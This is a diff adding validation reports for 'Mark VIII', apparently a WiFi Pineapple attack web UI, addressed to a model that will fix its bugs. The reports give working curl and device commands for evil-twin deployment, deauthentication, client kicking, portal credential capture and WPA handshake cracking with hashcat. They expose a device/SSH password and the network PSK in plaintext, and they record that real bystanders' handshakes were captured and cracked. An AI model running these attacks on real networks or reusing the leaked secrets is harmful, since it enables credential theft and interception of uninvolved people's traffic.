+>      the TLS tunnel. Deploy now forces it to `0` (standalone hostapd terminates inner
+>      MSCHAPv2/GTC/PAP itself); stop restores `1`.
+>   Live: API-deployed enterprise twin + PEAP/MSCHAPv2 client → repeated full
+>   `CTRL-EVENT-CONNECTED` (EAP success + 4-way) on firmware wpad 2.12-devel.
+> - **BUG 3 residual (firmware-blocked):** plaintext credential *capture* is not possible on
+>   24.10.1: the patched wpad compiles out MSG_DEBUG/MSG_MSGDUMP stdout logging (no MSCHAPv2
+>   hexdumps anywhere), `-f <log>` is silently ignored (fd1→/dev/null), and passthrough mode
+>   cannot work without an upstream RADIUS backend. With `auth_pass=0` nothing feeds
+>   `hostap_basic`/`hostap_chalresp`. Phase-1 outer identities remain sniffable in plaintext
+>   via the capture API. This limitation is documented in code comments.
+> - **Secondary `-f` bug — FIXED:** `_start_ent_hostapd` no longer passes `-f` at all.
+> - **ISSUE 4 — FIXED:** 5 GHz WPA deploys now set `pineapd.@hostapd[0].mgmtiface=wlan1wpa`
+>   so pineapd recognizes the radio1 twin (same mechanism that populates `hostap_client`);
+>   cleared again on stop.
+> - **ISSUE 5 — MITIGATED:** radio0 daemon `set_ap` path now polls up to 90 s across the
+>   `wifi reload` window and retries `set_ap` once if the iface still hasn't appeared.
+>   Live deploy verified `true` first try.
+> - **ISSUE 6 — FIXED:** skill docs now use `llc && eth.type == 0x888e` instead of `eapol`.
+> - **ISSUE 7 — FIXED:** capture state helper detects dead-pid / iface-down, kills leftovers,
+>   cleans the pidfile, and status reports `{running:false, stale:true}` instead of a zombie
+>   `running:true`. Verified live by killing tcpdump under an active capture.
+> - Test suite: 463 tests green (was 457 with 6 pre-existing failures caused by global
+>   `os.path` monkeypatch leaks between test modules — also fixed). New regression coverage:
+>   deauth app name, SSID-filter-mode app name, eap_users grammar, `pineape_auth_pass`
+>   set/restore, capture stale detection, radio0 set_ap retry.
+> - New firmware quirks discovered while fixing (document here for future rounds):
+>   - `PINEAPPLE_DEVICE_FILTER_DELETE deny <mac>` returns rc=0 but does NOT remove the entry;
+>     only `_CLEAR` works. The kick regression "delete entry → re-associate" must use clear.
+>   - dropbear rate-limits rapid successive SSH logins ("Permission denied" bursts).
+>   - Killing hostapd while another instance holds the phy iface wedges cfg80211 into D-state
+>     (known §5 issue): never tear down wlan1ent while a foreign hostapd still runs.
+
+---
+
+**Status:** Suite executed against a live WiFi Pineapple Pager (firmware `Pineapple Pager 24.10.1`,
+hostname-reachable at `root@172.16.52.1`, Mark VIII UI on `:8080`) with a Kali victim client
+(`bzuccaro@192.168.1.103`, wlan0 `a0:a4:c5:93:f8:05`).  Both reachable with password "Bryce9205"
+
+**Purpose of this document:** hand off every validated behavior and every defect to a fixing model.
+Each defect has an exact `file:line`, reproduction, root cause, and recommended fix. Everything below
+was observed live; no assertion is speculative. Device evidence lives under `/root/loot/**` on the
+pineapple and `/tmp/znet*.hc22000` on Kali.
+
+**In-scope networks (authorized):**
+- `Znet` — WPA2 (actually SAE-mixed per on-air RSN: `[WPA2-SAE+FT/SAE-CCMP][SAE-H2E]`), 5 GHz
+  BSSIDs on ch 36 / 44 / 48 / 108 / 116 / 153. PSK = `EXAKypBWxxkiu9zrJb4Jwd8Y7p4xY`.
+- `Znet-Open` — open (enc `0` in recon DB), 2.4 GHz ch 6 (`B6:8B:A9:17:2A:6E`) and ch 11
+  (`B6:8B:A9:17:47:33`).
+
+---
+
+## 1. Results summary
+
+| # | Attack / capability | Result | Evidence |
+|---|---|---|---|
+| 1 | Evil WPA (PSK) 5 GHz — radio1 `wlan1wpa` | **PASS** | Twin authenticated Kali + 2 real clients; 4-way captured on `wlan1mon`; `.hc22000` cracked → PSK recovered. |
+| 2 | Evil WPA (PSK) 2.4 GHz — radio0 `wlan0wpa` | **PASS** (flaky deploy) | 4-way captured on `wlan0mon`; cracked → PSK recovered. |
+| 3 | Evil Open — radio0 `wlan0open` (BSSID-spoofed) | **PASS** | Kali associated to spoofed-BSSID twin; bidirectional IP/DNS/TCP captured on `wlan0mon`. |
+| 4 | Evil Enterprise — standalone `wlan1ent` PineAPE | **FAIL** | AP + TLS tunnel work; **inner EAP auth never completes**; zero credentials captured. |
+| 5 | Deauth — `/api/attacks/deauth`, `/api/pineap/deauth/client` | **FAIL (bug)** | `unknown app DEAUTH_CLIENT`. Underlying `PINEAPPLE_DEAUTH_CLIENT` works (on-wire deauth frames). |
+| 6 | Client kick — `/api/pineap/clients/kick` | **FAIL (same bug)** | Deny filter set, but deauth half fails → client never actually kicked. |
+| 7 | Attack capture API (`/api/attacks/capture`) | **PASS** | tcpdump start/stop/status on `wlan0mon`/`wlan1mon`; pcaps analyzable. |
+| 8 | Handshake export (`/api/attacks/export/hc22000`) | **PASS** | Valid `.hc22000`; cracked with `hashcat -m 22000`. |
+| 9 | PineAP settings / filters API | **PASS** | mode/add/delete/clear; **gotcha:** `allow`+empty blocks karma association. |
+| 10 | MCP harness (`POST /mcp`) | **PASS** | all tools; `attack.deauth` inherits bug #5. |
+| 11 | Web UI click-through | **PASS** | login → Evil WPA deploy ("Applied and verified on device", LIVE) → capture → export → stop. |
+
+**Two critical defects to fix first:** #5 (deauth/kick, one-character-class bug) and #6's hidden twin
+#2 (`_allow_all_ssids` short-name bug that blocks all evil-twin association until a human sets the
+filter to deny). See §3.
+
+---
+
+## 2. Environment notes (facts the fixer needs)
+
+### 2.1 hak5cmd dispatches by FULL app name as `argv[1]`
+`/usr/bin/hak5cmd` (Pager 1.1.0) is dispatched by app name. Invoking the symlinks
+(`/usr/bin/PINEAPPLE_DEAUTH_CLIENT`) or passing the full `PINEAPPLE_*` name as `argv[1]` both work:
+
+```sh
+hak5cmd DEAUTH_CLIENT <ap> <client> <ch>          # FAILS: "unknown app DEAUTH_CLIENT"
+hak5cmd PINEAPPLE_DEAUTH_CLIENT <ap> <client> <ch> # rc=0, deauth frames on wire
+/usr/bin/PINEAPPLE_DEAUTH_CLIENT <ap> <client> <ch> # rc=0
+```
+
+Verified app names present on the unit (from `hak5cmd` with no args): `PINEAPPLE_DEAUTH_CLIENT`,
+`PINEAPPLE_DEVICE_FILTER_*`, `PINEAPPLE_MAC_FILTER_*`, `PINEAPPLE_NETWORK_FILTER_*`,
+`PINEAPPLE_SSID_FILTER_*`, `PINEAPPLE_SSID_POOL_*`, `PINEAPPLE_HOPPING_*`, `PINEAPPLE_MIMIC_*`,
+`PINEAPPLE_EXAMINE_*`, `PINEAPPLE_RECON_*`, `PINEAPPLE_SET_BANDS`, `PINEAPPLE_LOOT_ARCHIVE`.
+
+The `hak5()` helper (`server.py:5646`) passes `[HAK5CMD] + args` and the filter calls in the codebase
+use full names (those work). The deauth and `_allow_all_ssids` calls use short names (broken).
+
+### 2.2 SSID / client filter semantics on this firmware
+- Filter mode **`allow`** = whitelist. With an empty list this makes karma respond to **nothing**, so
+  clients **cannot associate** to evil twins.
+- Filter mode **`deny`** = blacklist (allow-by-default). With an empty list everything is allowed.
+- The evil-twin flow **requires** both SSID and client filters in `deny` mode with empty lists.
+- Mark VIII's `_allow_all_ssids()` is *supposed* to set the SSID filter to `deny` but is broken (bug #2).
+
+### 2.3 Deauth injection phy
+`h_attacks_deauth` chooses the inject interface from the channel band (`wlan1mon` for 5/6 GHz,
+`wlan0mon` for 2.4 GHz) and switches `_pineap INTERFACE INJECT` for 2.4 GHz. On 5 GHz the phy is
+pinned by the active AP interface, so deauth on a 5 GHz evil twin's channel works. The 5 GHz monitor
+(`wlan1mon`) does **not** reliably show injected 5 GHz deauth frames (phy1 beacon-offload quirk), so
+on-wire deauth proof for 5 GHz is best done on 2.4 GHz (`wlan0mon`) where own-TX is visible, or via
+client-side disconnect logs.
+
+### 2.4 Capture filter quirk
+On this firmware's monitor interfaces `tcpdump -r cap 'eapol'` matches **0** frames even when EAPOL
+is present. The working filter is `llc and ether proto 0x888e`. (Affects any analysis/tooling that
+grep's `eapol`.)
+
+### 2.5 pineapd UCI baseline (guard-enforced known-good)
+`pineapd.@hostapd[0].wpaiface='wlan0wpa'` (only the 2.4 GHz WPA iface is the daemon's "own AP").
+`mgmtiface='wlan0mgmt'`. `wlan1mon.hop` baseline is `0` in the guard set
+(`PINEAPD_SAFE_UCI`, `server.py:4639`); monitors park between scans, hopping resumes during recon.
+
+### 2.6 Reliability core interactions observed
+The rollback watchdog arms around `attack_deploy` / `attack_stop` and restores the pre-op UCI snapshot
+if local liveness (UI `:8080` + monitor presence) fails for sustained ticks. Rapid deploy/stop cycles
+that drop the radios trigger restores that can **resurrect older AP states** (the `wlan0open` Znet-Open
+twin reappeared twice after we had stopped it). The watchdog self-exits after ~120 quiet ticks.
+
+---
+
+## 3. Defects to fix (ranked)
+
+### BUG 1 — CRITICAL: Deauth / kick invoke the wrong hak5cmd app name
+
+**Impact:** `/api/attacks/deauth`, `/api/pineap/deauth/client`, `/api/pineap/clients/kick` (deauth
+half), and MCP `attack.deauth` / `pineap.kick_client` all fail with
+`unknown app DEAUTH_CLIENT`. The **entire deauth attack is non-functional through Mark VIII.**
+
+**Locations (all in `payload/user/remote_access/pager-webui/server.py`):**
+- `server.py:3009` — `_deauth_client_via_iface()`
+  ```python
+  rc, out, err = device_run([HAK5CMD, 'DEAUTH_CLIENT', bssid, mac, str(channel)], timeout=30)
+  ```
+- `server.py:4602` — `h_attacks_deauth()`
+  ```python
+  rc, out, err = device_run([HAK5CMD, 'DEAUTH_CLIENT', bssid, client, str(channel or 1)], timeout=30)
+  ```
+- `h_client_kick` (`server.py:963`) and MCP `kick` (`server.py:5368`) both call
+  `_deauth_client_via_iface`, so fixing `3009` fixes them. Their filter half (`PINEAPPLE_DEVICE_FILTER_*`)
+  is already correct.
+
+**Root cause:** short name `DEAUTH_CLIENT`; hak5cmd requires the full app name `PINEAPPLE_DEAUTH_CLIENT`
+(see §2.1). `HAK5CMD` defaults to `/usr/bin/hak5cmd` (`server.py:31`).
+
+**Fix:** replace `'DEAUTH_CLIENT'` with `'PINEAPPLE_DEAUTH_CLIENT'` at `server.py:3009` and `:4602`.
+
+**Verification (live-proven):**
+```sh
+# before fix
+curl -b cookie -H 'Content-Type: application/json' \
+  -d '{"bssid":"B6:8B:A9:17:2A:6E","client":"A0:A4:C5:93:F8:05","channel":6}' \
+  http://172.16.52.1:8080/api/attacks/deauth
+# => {"error":"deauth failed","detail":"unknown app DEAUTH_CLIENT\n"}
+
+# working device-level invocation (deauth client from our own evil twin):
+/usr/bin/PINEAPPLE_DEAUTH_CLIENT B6:8B:A9:17:2A:6E A0:A4:C5:93:F8:05 6   # rc=0
+# on-wire proof on wlan0mon:
+tcpdump -r cap -nn 'wlan type mgt subtype deauth'   # SA=spoofed BSSID, DA=client
+```
+Regression check: run `/api/pineap/clients/kick` on an associated client and confirm it is
+disconnected AND stays disconnected while the deny filter is present; then `delete` the filter entry
+and confirm re-association works.
+
+---
+
+### BUG 2 — CRITICAL: `_allow_all_ssids()` uses a short name and silently fails
+
+**Impact:** after every evil-twin deploy, karma remains in `allow` (whitelist) mode → **no client can
+associate to the twin**. This is why the Evil Open association only worked after a human set the
+filter to `deny` via the API.
+
+**Location:** `server.py:3691-3695`
+```python
+def _allow_all_ssids():
+    """Set the SSID filter to deny mode (allow-by-default) so karma
+    responds to any probed SSID."""
+    rc, out, err = device_run([HAK5CMD, 'SSID_FILTER_MODE', 'deny'], timeout=30)
+    return rc == 0
+```
+`SSID_FILTER_MODE` is a short name. The valid app names on this unit are
+`PINEAPPLE_SSID_FILTER_MODE` and `PINEAPPLE_NETWORK_FILTER_MODE`. The return value is ignored by all
+callers (`_deploy_wpa_open` at `:3774`, `_deploy_enterprise` at `:4277`), so it fails silently.
+
+**Fix:** use a full app name. Consistency check: the filter API for `ssid` kind uses prefix
+`PINEAPPLE_NETWORK_FILTER` (`server.py:5722`), and the deployed `pineapd.@ssid_filter[0].mode` is
+`deny` in the guard baseline — but the live daemon readback was `allow` after deploy, proving the
+call did not land. Verify on-device that the chosen name flips
+`GET /api/pineap/filters/ssid` to `{"mode":"deny"}`.
+
+**Verification:**
+```sh
+curl -b cookie http://172.16.52.1:8080/api/pineap/filters/ssid   # must show "deny" after a deploy
+```
+
+---
+
+### BUG 3 — HIGH: Evil Enterprise credential capture broken (inner EAP never completes)
+
+**Impact:** the Enterprise attack is non-functional: the AP comes up, clients associate, the TLS
+tunnel builds, but the server immediately sends EAP-Failure after the phase-2 identity for every
+inner method (MSCHAPv2, GTC, TTLS-PAP). **Zero credentials** land in `hostap_basic`,
+`hostap_chalresp`, or `/root/loot/enterprise/captures.json`.
+
+**Locations:**
+- `_eap_users_text` — `server.py:3836-3853` (writes the `eap_user_file`)
+- `_deploy_enterprise` — `server.py:4217-4325`
+- `_ent_conf_text` — `server.py:4102`
+- `_start_ent_hostapd` — `server.py:4173-4202`
+- `_ensure_ent_certs` — `server.py:3875`
+
+**Observed behavior (reproducible):**
+- Deploy succeeds (`verified: true`, `ctrl_linked: true`, hostapd `state=ENABLED` on `wlan1ent`,
+  bssid `02:13:37:ae:8e:7c`, ch44, `ieee8021x=1 eap_server=1 wpa_key_mgmt=WPA-EAP`).
+- Kali (PEAP/MSCHAPv2, PEAP/GTC, and TTLS/PAP all tried) associates and the outer TLS tunnel
+  completes; the client then sees `EAP-PEAP: Phase 2 Failure` / `EAP-Failure`.
+- hostapd (karma-patched `wpad`, v2.12-devel) logs:
+  ```
+  IEEE 802.1X: authentication failed - EAP type: 0 (unknown)
+  IEEE 802.1X: Supplicant used different EAP type: 25 (PEAP)
+  ```
+- `eap_user_file` parser on this build **requires quoted identities** for non-wildcard entries:
+  unquoted `victim@znet.local` → `Invalid EAP identity (no " in start) on line 1`.
+
+**eap_users formats tried, all failing identically:**
+1. `* PEAP,TTLS` + `* MSCHAPV2,TTLS-MSCHAPV2,TTLS-MSCHAP "pw" [2]` (what the code writes today)
+2. `* PEAP,TTLS` + `* MSCHAPV2 "pw"` (no `[2]`)
+3. `* PEAP,TTLS` + `* MSCHAPV2 "pw" [2]`
+4. `"*" PEAP,TTLS` + `"*" MSCHAPV2 "pw" [2]` (quoted wildcards)
+5. `victim@znet.local PEAP,TTLS` + `victim@znet.local MSCHAPV2 "pw"` (unquoted → parse error)
+6. `"victim@znet.local" PEAP,TTLS` + `"victim@znet.local" MSCHAPV2 "pw"` (quoted exact)
+7. `* PEAP,TTLS` + `* TTLS-PAP "pw"` (client `eap=TTLS phase2="auth=PAP"`) — also fails
+8. Passphrase matched (`VictimPass123!`) and mismatched (`dummy`) — no difference
+
+**Fixer investigation pointers (open questions):**
+- Verify whether `pineap_enable` / `pineape_enable` / `pineape_auth_enable` on the standalone
+  instance actually arm PineAPE auth-capture on this build (they return `OK`, and the startup log
+  shows `PINEAP: setting MAC filter mode DENY`, but no capture events ever appear).
+- Confirm the correct `eap_user_file` grammar for THIS `wpad` build (source of the `[2]` flag and
+  whether a phase-2-only entry is required for the inner lookup).
+- Test with a controlled EAP client (`eapol_test` from a host with `wpa_supplicant` dev headers) and
+  with syslog `logger_syslog_level=0` on the instance to see why the inner method is never offered.
+- Compare the Mark VIII standalone conf to what the stock daemon would generate for
+  `set_ap` enctype `wpa2` (the daemon path is broken with `eap_server_erp=1`; confirm whether
+  removing just that key makes the stock path capture).
+- `hostap_basic` / `hostap_chalresp` are populated by pineapd from the karma hostapd socket; confirm
+  `pineapd.@hostapd[0].mgmtiface='wlan1ent'` is sufficient (it is set and survives), and whether
+  `/etc/init.d/pineapd reload` after deploy is enough.
+
+**Verification:** with a fixed enterprise deploy, a PEAP/MSCHAPv2 client must (a) complete
+`EAPOL` successfully, and (b) yield rows in `hostap_basic` (identity) and `hostap_chalresp`
+(challenge/response), which must appear in `GET /api/pineap/enterprise/radius` and be crackable via
+`GET /api/pineap/enterprise/export/hashcat` (`hashcat -m 5500`).
+
+**Secondary bug found while here:** `_start_ent_hostapd` (`server.py:4173`) starts hostapd with
+`-f ENT_LOG` on the first attempt but **drops `-f` on the fallback attempt** (`server.py:4183`), so
+the enterprise log file stays empty — the fixer will need another log channel (syslog) while
+debugging.
+
+---
+
+### ISSUE 4 — MEDIUM: 5 GHz handshake loot pipeline (`hostap_handshake` / `/root/loot/handshakes`) never populates
+
+**Symptom:** handshakes complete on the radio1 twin (`wlan1wpa`) — `hostapd` logs
+`EAPOL-4WAY-HS-COMPLETED <client>` — but `hostap_handshake` stays empty and no files are written to
+`/root/loot/handshakes`. The Handshakes/Loot UI shows 0.
+
+**Likely root cause:** `pineapd.@hostapd[0].wpaiface='wlan0wpa'` only (2.4 GHz). pineapd treats
+`wlan0wpa` as its own handshake-logging AP; the radio1 `wlan1wpa` twin (created via the UCI/radio1
+path, `_apply_radio1_ap`) is not recognized, so pineapd never logs own-AP handshakes for it.
+
+**Working path (validated end-to-end):** the monitor capture API + export:
+1. `POST /api/attacks/capture {iface:wlan1mon, action:start}` before the client connects.
+2. Client 4-way happens → the pcap contains EAPOL (`tcpdump -r cap 'llc and ether proto 0x888e'`).
+3. `GET /api/attacks/export/hc22000` → hcxpcapngtool → `.hc22000` → `hashcat -m 22000` cracks it.
+
+**Fixer options:** either teach the deploy to make pineapd recognize the radio1 WPA iface (careful:
+`wpaiface` is a single shared daemon setting; two ifaces may need a list or the mgmtiface trick), or
+surface the monitor-capture+export flow as the supported 5 GHz evidence path. The UI's
+"Handshakes Captured" counter reads `hostap_handshake` and will show 0 for 5 GHz until this is fixed.
+
+---
+
+### ISSUE 5 — MEDIUM: 2.4 GHz (`radio0` daemon `set_ap`) attack deploy is flaky
+
+**Symptom:** `_deploy_wpa_open` 2.4 GHz path (`server.py:3725-3753`) calls the daemon
+`PUT /api/settings/wifi/set_ap` for `wlan0wpa`/`wlan0open`. The resulting `wifi reload` drops the
+radios for ~40–60 s (during which `iw dev` can show zero interfaces and the deploy poll may return
+`verified: false`). Afterwards:
+- the stock daemon can revert the UCI (`wlan0wpa.ssid` back to `pager-wpa`, `disabled=1`), and
+- the reliability rollback watchdog can restore an older snapshot (resurrecting a previously stopped
+  AP, e.g. the `wlan0open` Znet-Open twin reappeared twice).
+
+**Workarounds that made it work:** deploy once → poll `iw dev wlan0wpa info` until `ssid Znet` →
+start a **fresh** capture (the old one died when the radios dropped) → connect the client. The
+handshake then captures and cracks normally.
+
+**Fixer pointers:** make the deploy poll tolerate the radio-restart window (the 5 GHz/radio1 UCI path
+already behaves better); consider whether the radio0 path should write UCI + `wifi reload` instead of
+the daemon `set_ap`, and whether the watchdog should be suppressed until the radios reconverge.
+
+---
+
+### ISSUE 6 — LOW: tcpdump `eapol` filter matches nothing on this firmware
+
+Use `llc and ether proto 0x888e` instead. Relevant to any in-app capture analysis, docs, or tooling
+that filters on `eapol`.
+
+### ISSUE 7 — LOW: monitor capture dies when the radio restarts mid-capture
+
+When a `wifi reload` drops the monitor iface during a capture, the pcap ends up with 1 frame while
+the API still reports `running: true` (the tcpdump process is gone). The capture API should detect
+iface-down / dead-pid and either restart or report stopped.
+
+---
+
+## 4. Per-attack validation evidence (for the report)
+
+### 4.1 Evil WPA 5 GHz — PASS (crackable)
+- Deploy: `POST /api/attacks/deploy {"kind":"wpa","ssid":"Znet","passphrase":"EXAKypBWxxkiu9zrJb4Jwd8Y7p4xY","enctype":"psk2","channel":44}`
+  → `{"iface":"wlan1wpa","band":"5","verified":true}`.
+- AP live: `wlan1wpa` BSSID `02:13:37:ae:8e:7c`, hostapd `wpa=2 key_mgmt=WPA-PSK`.
+- Client auth: `wpa_supplicant` completed full 4-way (`Key negotiation completed`, PTK=CCMP GTK=CCMP);
+  hostapd logged `EAPOL-4WAY-HS-COMPLETED a0:a4:c5:93:f8:05`; a real nearby client (`e6:75:7f:45:fd:57`)
+  also got caught (full handshake) and another (`68:9e:19:d1:6e:e1`) hit a PSK mismatch (evidence the
+  twin attracts real clients).
+- Capture: `wlan1mon` pcap held 170 EAPOL key frames.
+- Convert: `hcxpcapngtool -o /root/loot/hc22000/znet.hc22000 hs_client.cap`.
+- Crack (on Kali): `hashcat -m 22000 /tmp/znet.hc22000 /tmp/wl.txt --potfile-disable`
+  ```
+  9b029677bdecbadd3bc3c3a211627f96:021337ae8e7c:a0a4c593f805:Znet:EXAKypBWxxkiu9zrJb4Jwd8Y7p4xY
+  329438490c9d7af672eb01f2ceb26bc0:021337ae8e7c:e6757f45fd57:Znet:EXAKypBWxxkiu9zrJb4Jwd8Y7p4xY
+  ```
+  Both our client and the real client's handshakes cracked to the real PSK.
+
+### 4.2 Evil WPA 2.4 GHz — PASS (crackable, flaky deploy)
+- Deploy `channel:6` → `wlan0wpa` (daemon `set_ap`). First two attempts `verified:false` and reverted
+  by the daemon/watchdog; final attempt `verified:true`. Fresh `wlan0mon` capture, client connected,
+  4-way captured (`EAPOL key v1/v2`), hostapd `EAPOL-4WAY-HS-COMPLETED`.
+- Crack: `8533e8028891cf997bbaf0d1880ca4be:001337aee050:a0a4c593f805:Znet:EXAKypBWxxkiu9zrJb4Jwd8Y7p4xY`.
+
+### 4.3 Evil Open (Znet-Open) — PASS
+- Deploy `{"kind":"open","ssid":"Znet-Open","channel":6,"bssid":"B6:8B:A9:17:2A:6E","country":"US"}`
+  → `wlan0open` live with **spoofed BSSID** `b6:8b:a9:17:2a:6e` (= real AP MAC), hostapd ENABLED.
+- Association initially FAILED until the SSID/client filters were set to `deny` via the API — this is
+  bug #2 manifesting. After the fix to bug #2, the client associates (wpa_supplicant COMPLETED on the
+  spoofed BSSID; `/api/pineap/clients` shows `A0:A4:C5:93:F8:05` on `wlan0open`).
+- Data plane through the twin (client IP `172.16.52.99/24` on the twin):
+  - `ping 172.16.52.1` → 4/4 replies
+  - DNS `172.16.52.99 > 172.16.52.1.53` query + NXDOMAIN reply
+  - TCP SYN `172.16.52.99 -> 172.16.52.1.80`
+  All captured on `wlan0mon` (`attack_wlan0mon_1787506980.cap`). This is the on-wire MITM proof.
+
+### 4.4 Evil Enterprise — FAIL (see BUG 3)
+- AP verified, ctrl linked, client association recorded in `hostap_client` (visible in
+  `/api/pineap/enterprise/radius` `clients`), but zero credentials anywhere.
+
+### 4.5 Deauth / kick — FAIL via API (BUG 1), working at device level
+- Device-level (works): `/usr/bin/PINEAPPLE_DEAUTH_CLIENT <ap> <client> <ch>`; on-wire deauth frames
+  (SA=spoofed BSSID, "Unspecified reason") captured on `wlan0mon`; client dropped.
+- API (broken): see BUG 1.
+- Kick: deny filter is applied (`/api/pineap/filters/client` shows the MAC) but the deauth half fails,
+  so the client re-associates and is never kicked.
+
+### 4.6 Capture / export / filters / MCP / UI — PASS
+- Capture API start/stop/status both ifaces; export produced `/root/loot/hc22000/handshakes_*.hc22000`;
+  filter set_mode/add/delete/clear; MCP `tools/list` + `attack.deploy|stop|status|capture`,
+  `loot.handshakes`, `loot.enterprise_creds`, `recon.isearch`; UI full flow on the Evil WPA page.
+
+---
+
+## 5. Recovery & hygiene observed during the suite
+
+- **Reboot was required once:** after `_disable_enterprise_ap()` raced our manual hostapd kills, the
+  enterprise hostapd (`hostapd -B -P /var/run/hostapd-mk8.pid /root/loot/enterprise.conf`) entered
+  D-state (uninterruptible) holding a cfg80211 lock; `iw dev` hung indefinitely. `reboot` cleared it;
+  Mark VIII auto-restarted (`/etc/init.d/pagerwebui` → `running`), pineapd PONG, monitors up, health
+  `pass`. `mk8-guard` re-applied safe UCI on boot.
+- Final device state after cleanup: all attacks stopped, no leftover APs, no tcpdump, 1 watchdog
+  self-exiting, Kali restored to `Znet`, `/api/health` env `pass`.
+- Evidence remains on devices: `/root/loot/pcap/attack_*.cap` (6 files), `/root/loot/hc22000/`
+  (`znet.hc22000`, `znet24.hc22000`, `handshakes_*.hc22000`), extracted
+  `/root/loot/pcap/hs_client.cap`, `hs_client_24.cap`; on Kali `/tmp/znet.hc22000`, `/tmp/znet24.hc22000`.
+
+---
+
+## 6. Reproduction command reference
+
+```sh
+# login
+curl -c cj -H 'Content-Type: application/json' \
+  -d '{"username":"root","password":"<device-pw>"}' http://172.16.52.1:8080/api/login
+
+# deploy evil wpa 5g / 2.4g / open / enterprise
+curl -b cj -H 'Content-Type: application/json' \
+  -d '{"kind":"wpa","ssid":"Znet","passphrase":"<psk>","enctype":"psk2","channel":44}' \
+  http://172.16.52.1:8080/api/attacks/deploy
+
+# status / stop / capture / export
+curl -b cj http://172.16.52.1:8080/api/attacks/status
+curl -b cj -H 'Content-Type: application/json' -d '{"kind":"wpa"}' http://172.16.52.1:8080/api/attacks/stop
+curl -b cj -H 'Content-Type: application/json' -d '{"action":"start","iface":"wlan1mon"}' http://172.16.52.1:8080/api/attacks/capture
+curl -b cj http://172.16.52.1:8080/api/attacks/export/hc22000
+
+# filter checks (must be "deny" + empty for evil twins)
+curl -b cj http://172.16.52.1:8080/api/pineap/filters/ssid
+curl -b cj http://172.16.52.1:8080/api/pineap/filters/client
+curl -b cj -H 'Content-Type: application/json' -d '{"action":"set_mode","mode":"deny"}' http://172.16.52.1:8080/api/pineap/filters/ssid
+curl -b cj -H 'Content-Type: application/json' -d '{"action":"set_mode","mode":"deny"}' http://172.16.52.1:8080/api/pineap/filters/client
+
+# device-level deauth (works) vs API (broken)
+/usr/bin/PINEAPPLE_DEAUTH_CLIENT <ap> <client> <ch>
+curl -b cj -H 'Content-Type: application/json' \
+  -d '{"bssid":"<ap>","client":"<client>","channel":6}' http://172.16.52.1:8080/api/attacks/deauth
+
+# crack
+hashcat -m 22000 znet.hc22000 wl.txt --potfile-disable
+```
+
+---
+
+## 7. Suggested fix order
+
+1. **BUG 1** (deauth app name) — 2-line change, restores deauth + kick + MCP deauth/kick.
+2. **BUG 2** (`_allow_all_ssids` app name) — restores evil-twin association for all attack types.
+3. **BUG 3** (enterprise inner EAP) — needs the investigation in §BUG 3 before a fix.
+4. **ISSUE 4** (5 GHz loot pipeline) — decide capture-path vs. daemon-recognition.
+5. **ISSUE 5** (radio0 deploy flakiness) + **ISSUE 6/7** (capture nits) — hardening.
+
+Add regression coverage to `tests/test_attacks.py` (assert `PINEAPPLE_DEAUTH_CLIENT` is used) and to
+`tests/test_pineap_*.py` for the filter-mode assertion (deny-after-deploy).

docs/validation/2026-08-23-pineap-validation-round2.md

@@ -0,0 +1,85 @@
+# Mark-VIII PineAP Attack Validation — Round 2 (post-fix), 2026-08-23
+
+Full live re-validation of every PineAP attack type exposed by Mark VIII, executed after the
+fix round in commit `d23ea56`. All attacks were run against authorized, in-scope networks only.
+
+## Environment
+
+| Role | Host | Identity |
+|---|---|---|
+| Attack platform | WiFi Pineapple Pager 24.10.1, `root@172.16.52.1`, Mark VIII `:8080` | radio0 MAC base `00:13:37:ae:e0:50`, radio1 `00:13:37:ae:8e:7c` |
+| Victim client | Kali Linux, `bzuccaro@192.168.1.103`, wlan0 `a0:a4:c5:93:f8:05` | NetworkManager + standalone wpa_supplicant |
+| In-scope targets | `Znet` (WPA2/WPA3-SAE-mixed, 5GHz ch36/44/48/…; PSK provided) and `Znet-Open` (open, 2.4GHz ch6 `B6:8B:A9:17:2A:6E`, ch11 `B6:8B:A9:17:47:33`) | recon.db fresh scans confirmed both |
+
+Pre-flight: `/api/health` env `pass` (pineapd alive, both monitors up, recon readable).
+
+## Results summary
+
+| # | Attack / capability | Endpoint(s) | Result | Proof captured |
+|---|---|---|---|---|
+| 1 | Recon | recon.db / scan history | **PASS** | Both SSIDs present with fresh timestamps, correct BSSIDs/channels/crypto |
+| 2 | Evil Open twin + Evil Portal credential capture | `POST /api/attacks/deploy kind=open` + portals API | **PASS** | Victim associated to spoofed-BSSID twin (`172.16.52.123`); DNS hijack resolved arbitrary domain → `172.16.52.1`; portal served on :80; POSTed creds recorded with MAC/hostname/IP (`evidence/r2_t1_portal_captures.json`) |
+| 3 | Karma association | (implicit) | **PASS** | Real third-party client `48:e1:e9:4d:98:8a` associated to Znet-Open twin unprompted; later handshakes from `68:9e:19:d1:6e:e1` / `e6:75:7f:45:fd:57` on the WPA twin across multiple probed SSIDs |
+| 4 | Filters auto-config post-deploy | `GET /api/pineap/filters/{ssid,client}` | **PASS** (BUG 2 fix verified) | After deploy both filters read `deny` + empty with no manual help — twins accept clients unaided |
+| 5 | Single deauth via API | `POST /api/attacks/deauth` | **PASS** (BUG 1 fix verified) | `ok:true, inject:wlan0mon`; pcap holds **556 deauth frames** incl. directed SA=twin-BSSID → DA=victim (`evidence/r2_t2_deauth.cap`); victim dropped (NM re-associated sub-second) |
+| 6 | Client kick | `POST /api/pineap/clients/kick` | **PASS** | Deny filter added for victim MAC; victim flapped DISCONNECTED/CONNECTED and could not hold association until filter cleared |
+| 7 | Evil WPA twin 5GHz + handshake capture | `deploy kind=wpa` + `attacks/capture` | **PASS** | Twin live ch44 (`02:13:37:ae:8e:7c`); full EAPOL 4-way from victim captured on pinned `wlan1mon`; export produced 18-row `.hc22000` incl. victim AND real-client handshakes |
+| 8 | hc22000 export → crack | `GET /api/attacks/export/hc22000` + hashcat -m 22000 (Kali) | **PASS** | PSK recovered for victim (`021337ae8e7c:a0a4c593f805:Znet`) and real client (`…:e6757f45fd57:Znet`) = exact known PSK (`evidence/r2_t4_cracked.txt`) |
+| 9 | Bulk deauth | `POST /api/attacks/deauth/bulk` | **PASS** | 3-target batch: 2 valid sent (`sent:2`), malformed target rejected per-index without aborting batch; victim dropped on-air |
+| 10 | Evil Enterprise PEAP/MSCHAPv2 | `deploy kind=enterprise` | **PARTIAL** | AP verified + ctrl-linked + runtime-bridged; client associates; TLS tunnel up; server issues inner MSCHAPv2 success for `victim@znet.local`. BUT wpa_supplicant rejects the karma wpad's success request ("Invalid authenticator response") so no full CONNECTED; `hostap_basic`/`hostap_chalresp` remain empty (known firmware residual). See §T6 |
